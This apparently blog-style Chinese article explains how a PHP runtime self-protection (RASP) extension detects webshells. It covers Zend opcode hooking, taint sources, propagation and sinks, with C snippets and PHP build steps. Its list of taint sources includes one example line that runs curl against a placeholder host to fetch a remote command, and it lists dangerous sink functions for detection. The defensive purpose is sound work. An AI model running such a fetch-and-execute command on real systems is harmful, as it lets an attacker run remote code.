Webshell detetion by PHP RASP
1. RASP概念
RASP(Runtime Application self-protection)是一种在运行时检测攻击并且进行自我保护的一种技术。早在2012年,Gartner就开始关注RASP,惠普、WhiteHat Security等多家国外安全公司陆续推出RASP产品,时至今日,惠普企业的软件部门出售给了Micro Focus,RASP产品Application Defender随之易主。
2. 从WAF问题说起
从WAF所在的拓扑结构,可以简单将WAF分为如下三类:
- 云WAF:总体来说是一种中间人的形式,在HTTP请求到达目标服务器之前进行检查拦截。
- HTTP Server WAF:以ModSecurity为代表的HTTP Server WAF在HTTP请求到达HTTP服务器后,被Web后端容器解释/执行之前检查拦截HTTP请求。
- RASP:工作在Web后端解释器/编译器中,在漏洞代码执行前阻断执行流。
从上图中WAF所处的位置可以看出,【云WAF】和【HTTP Server WAF】的检查拦截HTTP请求的主要依据是HTTP Request,换句话说,这两种方法的思想都是说:
通过建立【文本检测模型】,将文本检测问题结果反向指示对应的行为本身的恶意性
我们可以把Web服务看做是一个接受输入-处理-输出结果的程序,那么它的输入是HTTP请求,它的输出是HTTP响应。靠检测一个程序的输入文本和输出文本来判断这个程序的运行过程是否有害,这在很多时候是存在很多挑战的,尤其是当面对误报和漏洞的双重制约的时候。
这里存在的最大问题是什么呢?总结为一句话就是:
输入-输出文本本身缺乏实际执行过程的上下文环境
但是实际情况中,基于文本或者抽象ast文本的检测方法却可以发挥很重要的作用(甚至是大部分作用),其原因在于安全领域中的恶意文本常常有明显的可区分性特征,即所谓的强因果推理。
从安全世界观的角度来看这个问题:
问题发生的地方是监控问题、解决问题的最好位置。
Web攻击发生在Web后端代码执行时,最好的防护方法就是在Web后端代码执行之前推测可能发生的问题,然后阻断代码的执行。
例如,云WAF在检查包含攻击payload的HTTP请求时推测它会危害Web服务一样。这就是RASP的设计思路。
RASP在后端代码运行时做安全监测,但又不侵入后端代码,就得切入Web后端解释器。PHP和Java都从机制上支持这种需求:
- Java支持以JavaAgent的方式,在class文件加载时修改字节码,在关键位置插入安全检查代码,实现RASP功能。
- PHP支持对PHP内核增加自定义扩展,在自定义扩展中,可以动态修改外部输入、以及php函数的执行逻辑,实现RASP的需求。
3. PHP扩展简介
根据PHP解释器所处的环境不同,PHP有不同的工作模式,例如:
- 常驻CGI
- 命令行
- Web Server模块
- 通用网关接口等多个模式
在不同的模式下,PHP解释器以不同的方式运行,包括单线程、多线程、多进程等。
为了满足不同的工作模式,PHP开发者设计了Server API即SAPI来抹平这些差异,方便PHP内部与外部进行通信。
虽然PHP运行模式各不相同,但是,PHP的任何扩展模块,都会依次执行模块初始化(MINIT)、请求初始化(RINIT)、请求结束(RSHUTDOWN)、模块结束(MSHUTDOWN)四个过程。如下图所示:
- 在PHP实例启动时,PHP解释器会依次加载每个PHP扩展模块,调用每个扩展模块的MINIT函数,初始化该模块。
- 当HTTP请求来临时,PHP解释器会调用每个扩展模块的RINIT函数。
- 请求处理完毕时,PHP会启动回收程序,倒序调用各个模块的RSHUTDOWN方法,一个HTTP请求处理就此完成。由于PHP解释器运行的方式不同,RINIT-RSHUTDOWN这个过程重复的次数也不同。
- 当PHP解释器运行结束时,PHP调用每个MSHUTDOWN函数,结束生命周期。
PHP核心由两部分组成,
- 一部分是PHP core,主要负责请求管理,文件和网络操作
- 另一部分是Zend引擎,Zend引擎负责编译和执行,以及内存资源的分配。
Zend引擎将PHP源代码进行词法分析和语法分析之后,生成抽象语法树,然后编译成Zend字节码,即Zend opcode。即:
PHP源码 -> AST -> opcode
opcode就是Zend虚拟机中的指令。使用VLD扩展可以看到Zend opcode,下面代码的opcode如图所示:
<?php $a=1; $b=2; print $a+$b; >
Zend引擎的所有opcode在php手册中可以查到,在PHP的内部实现中,每一个opcode都由一个函数具体实现,opcode数据结构如下:
struct _zend_op { opcode_handler_t handler;//执行opcode时调用的处理函数 znode result; znode op1; znode op2; ulong extended_value; uint lineno; zend_uchar opcode; };
如结构体所示,具体实现函数的指针保存在类型为opcode_handler_t的handler中。
4. PHP RASP设计思路
PHP RASP的设计思路很直接:
一切外部可控的输入都是有害的,通过跟踪有害变量,检查其是否被传入了某些敏感函数
外部可控的输入源是一个信道的概念,原则上,只要是符合“外部可控、内容可控”这两个特点的方式,都属于外部可控输入。它们包括:
- HTTP输入(GET/POST)参数
- $GLOBALS[‘_GET’]
- $GLOBALS[‘_POST’]
- $GLOBALS[‘_COOKIE’]
- $GLOBALS[‘_FILES’]
- $GLOBALS['GLOBALS']['_GET']
- $GLOBALS['GLOBALS']['_POST']
- $GLOBALS['GLOBALS']['_COOKIE']
- $GLOBALS['GLOBALS']['_FILES']
- $_GET
- $_POST
- $_COOKIE
- $_FILES
- $_REQUEST
- HTTP Header信息输入
- getallheaders()
- 网络信道输入:只要对源头api的return zval进行污点标记,随后污点标记会随着api sequence被传递
- file_get_contents()
- socket_create_listen()
- socket_listen()
- curl_init()
- 通过系统指令包装器执行网络相关指令,从外部网络获取指令信息
- system():system("curl xxxxx/evil.command")
- popen()
- exec()
- passthru()
- shell_exec()
- ``
- 通过数据库相关操作获取外部可控参数
随着这些变量被使用、被复制,信息也随之流动,即所谓的信息流追踪(information-flow track)。包括:
- 变量赋值:污点信息从右值传递到左值
- 函数调用传递:将入参携带的污点信息,传递给return返回值
- 引用传递:污点信心从右值传递到左值
- 控制流传递:将控制表达式中的污点信息,传递给所有代码块(例如if就是左支和右支)中的变量
污点标记沿着代码执行流被传递,最终会流入某些敏感函数位置,即【sink function】,这些函数都是引发漏洞、或者具备代码执行功能的函数,例如:
- require/include函数能引发文件包含代码执行
- eval/assert函数能导致任意代码执行
- system/exec函数能执行任意系统指令
注意,PHP中,不论是参数获取、函数执行,其底层本质都是zend opcode或者internal function的调用。所以,RASP利用【opcode/internal function hook hijacking】的方法,实现了以上3个步骤:
- saint tagging
- saint transfer
- saint sink check
当跟踪的信息流流入(sink)敏感函数时,触发安全检查代码,如果通过安全检查,则说明当前被执行的文件不具备恶意的功能。如果没通过安全检查,阻断执行,通过SAPI向HTTP Server发送403 Forbidden信息。
另外需要注意的一点是,由于是旁路模拟执行,缺少实际攻击流量,所以并不能保证100%运行样本成功,所以需要在zend沙箱中加入【try-catch机制】,以尽量延长沙箱模拟执行的链路。
5. 动态污点跟踪
动态污点跟踪技术在白盒的调试和分析中应用比较广泛。它的主要思路就是先认定一些数据源是可能有害的,被污染的。在这里,我们认为所有的HTTP输入都是被污染的,所有的HTTP输入都是污染源。随着这些被污染变量的复制、拼接等一系列操作,其他变量也会被污染,污染会扩大,这就是污染的传播。这些经过污染的变量作为参数传入敏感函数以后,可能导致安全问题,这些敏感函数就是沉降点。
做动态污点跟踪关键点是设定好污染源、污染传播策略和沉降点。
0x1:污染源标记
在PHP解释器中,全局变量都保存在一个HashTable类型的符号表symbol_table中,包括预定义变量$GLOBALS、$_GET、$_POST等。
我们利用变量结构体中的flag中未被使用的一位来标识这个变量是否被污染。在初始化(RINIT或MINIT)过程中,我们首先将$_GET、$_POST、$_SERVER...等数组中的值标记为污染,这样,我们就完成了污染源的标记。
0x2:沉降点
当被污染的变量作为参数被传入关键函数时,触发关键函数的安全检查代码,RASP的具体实现和传播hook的方式是类似的。
PHP的中函数调用不外乎三个Zend opcode某一个:
ZEND_DO_FCALL
ZEND_DO_ICALL
ZEND_DO_FCALL_BY_NAME
每个函数的调用都会运行这三个 opcode 中的一个。通过劫持三个 opcode 来hook函数调用(opcode hook),就能获取调用的函数和参数。
如图,在MINIT方法中,我们利用Zend API zend_set_user_opcode_handler 来hook这三个opcode,监控敏感函数。
在PHP内核中,当一个函数通过上述opcode调用时,Zend引擎会在函数表中查找指定的函数名,然后返回一个zend_function类型的指针。
zend_function的结构如下所示:
union _zend_function { zend_uchar type; /* MUST be the first element of this struct! */ struct { zend_uchar type; /* never used */ zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */ uint32_t fn_flags; zend_string *function_name; zend_class_entry *scope; union _zend_function *prototype; uint32_t num_args; uint32_t required_num_args; zend_arg_info *arg_info; } common; zend_op_array op_array; zend_internal_function internal_function; };
其中:
- common.function_name指向这个函数的函数名
- common.scope指向这个方法所在的类,如果一个函数不属于某个类,例如PHP中的fopen函数,那么这个scope的值是null
这样,我们就获取了当前函数的函数名和类名。
得到 zend_function 指针后,然后判断zend_function结构体中的type,
如果它是内部函数,则通过 zend_internal_function.handler 来执行这个函数,如果 handler 已被上述hook方法替换,则调用被修改的 handler
如果它不是内部函数,那么这个函数就是用户定义的函数,就调用 zend_execute 来执行这个函数包含的 zend_op_array
当执行到被修改的 handler 后,我们就可以在函数中编写自定义的污点记录或者污点检查策略。
0x3:污染传播策略
在PHP RASP中,污染源和沉降点相对是确定的,而污染传播策略的制定影响对RASP的准确性有很大的影响。传播策略过于严格会导致漏报(under-taint),传播策略过于宽松会增加系统开销以及导致过度传播(over-taint)。
PHP RASP的污染传播策略包括:
- 显式数据流传播:包括变量的复制、赋值、大部分的字符串处理、隐式函数回调、数组操作。
- 隐式数据流传播:控制流追踪(if-else、foreach、...)
污染的传播过程其实就是hook php内部函数,使污点信息可以跟随执行过程顺畅流动,在PHP中,可以从两个层面来hook函数,
- 修改 zend_internal_function 的 handler 来hook PHP中的内部函数,handler指向的函数用C或者C++编写,可以直接执行。我们可以通过修改 zend_internal_function 结构体中 handler 的指向,待完成我们需要的操作后再调用原来的处理函数即可完成hook。
- hook opcode,需要使用zend提供的 API zend_set_user_opcode_handler 来修改opcode的 handler 来实现。
1、zend_internal_function handler hook
zend_internal_function的结构体如下:
//zend_complie.h typedef struct _zend_internal_function { /* Common elements */ zend_uchar type; zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */ uint32_t fn_flags; zend_string* function_name; zend_class_entry *scope; zend_function *prototype; uint32_t num_args; uint32_t required_num_args; zend_internal_arg_info *arg_info; /* END of common elements */ void (*handler)(INTERNAL_FUNCTION_PARAMETERS); //函数指针,展开:void (*handler)(zend_execute_data *execute_data, zval *return_value) struct _zend_module_entry *module; void *reserved[ZEND_MAX_RESERVED_RESOURCES]; } zend_internal_function;
可以在MINIT函数中。hook待传播污染的函数,
2、opcode handler hook
当传播污染的函数被调用时,如果这个函数的参数是被污染的,那么把它的返回值也标记成污染。
以hook内部函数str_replace函数为例,hook后的rasp_str_replace如下所示:
PHP_FUNCTION(rasp_str_replace) { zval *str, *from, *len, *repl; int tainted = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zzz|z", &str, &repl, &from, &len) == FAILURE) { return; } if (IS_STRING == Z_TYPE_P(repl) && PHP_AEGIS_POSSIBLE(repl)) { tainted = 1; } else if (IS_STRING == Z_TYPE_P(from) && PHP_AEGIS_POSSIBLE(from)) { tainted = 1; } RASP_O_FUNC(str_replace)(INTERNAL_FUNCTION_PARAM_PASSTHRU); if (tainted && IS_STRING == Z_TYPE_P(return_value) && Z_STRLEN_P(return_value)) { TAINT_MARK(Z_STR_P(return_value)); } }
首先获取参数,判断参数from和repl是否被污染,如果被污染,将返回值标记为污染,这样就完成污染传播过程。
Relevant Link:
https://c0d3p1ut0s.github.io/%E4%B8%80%E7%B1%BBPHP-RASP%E7%9A%84%E5%AE%9E%E7%8E%B0/
6. 文本结构化分析
对于PHP RASP Webshell检测来说,除了进行了污点信息流追踪与之外,还有另一个重要的维度就是文本。
- HTTP Request文本:正则匹配、规则打分、机器学习等
- Web File Text文本:文本词法解析、文本沙箱动态检测、文本NLP机器学习检测
7. Taint - a PHP extension to track taint flow
0x1:下载并编译php源代码
1、autoconf
https://github.com/php/php-src brew install autoconf brew install bison brew install re2c Generate configure: ./buildconf Configure your build. --enable-debug is recommended for development, see ./configure --help for a full list of options. # For development ./configure --enable-debug # For production ./configure Build PHP. To speed up the build, specify the maximum number of jobs using -j: make -j4 make TEST_PHP_ARGS=-j4 test After a successful build (and test), PHP may be installed with: make install
2、自定义conf
wget -c http://cn2.php.net/distributions/php-5.6.40.tar.gz tar -zxvf php-5.6.40.tar.gz apt-get install libxml2 apt-get install libxml2-dev apt-get install openssl openssl-dev brew install libmcrypt php5.6需要低版本的openssl,所以手动安装1.0.2的openssl https://www.openssl.org/source/openssl-1.0.2k.tar.gz ./config make make install mv /usr/local/bin/openssl /usr/local/bin/openssl1.1.1 ln -s /usr/local/ssl/bin/openssl /usr/local/bin/openssl ./configure \ --prefix=/usr/local/php5.6 \ --with-config-file-path=/usr/local/php5.6/etc \ --with-openssl=/usr/local/opt/openssl \ --with-zlib \ --with-bz2 \ --with-gd \ --with-jpeg-dir \ --with-png-dir \ --with-gettext \ --with-mhash \ --with-freetype-dir \ --with-mcrypt \ --with-iconv \ --with-curl \ --with-xmlrpc \ --with-mysql \ --with-pdo-mysql \ --with-mysqli \ --enable-calendar \ --enable-pdo \ --enable-zip \ --enable-mbstring \ --enable-mbregex \ --enable-bcmath \ --enable-soap \ --enable-sockets \ --enable-ftp \ --enable-gd-native-ttf \ --enable-shmop \ --enable-sysvmsg \ --enable-sysvsem \ --enable-sysvshm \ --enable-xml \ --enable-pcntl \ --enable-fpm \ --enable-opcache \ --without-pear sudo make && make install
执行测试指令
/usr/local/bin/php -r "var_dump('heelo');"
Relevant Link:
https://github.com/LittleHann/taint https://www.cnblogs.com/Kevin-1967/p/8579591.html https://cloud.tencent.com/developer/article/1435184 https://www.bilibili.com/read/cv79641/ https://www.cnblogs.com/LittleHann/p/3562259.html https://521-wf.com/archives/227.html https://0x1.im/blog/php/how-to-create-a-php-extension.html https://felab.me/2019/mac-compile-php/ https://learnku.com/docs/php-internals/php7/building_extensions/6849 https://www.php.net/manual/zh/install.pecl.phpize.php https://github.com/php/php-src https://www.php.net/manual/en/install.unix.php https://pecl.php.net/support.php https://www.laruence.com/2012/02/14/2544.html https://cloud.tencent.com/developer/article/1355912 http://www.totogoo.com/article/26/php-taint.html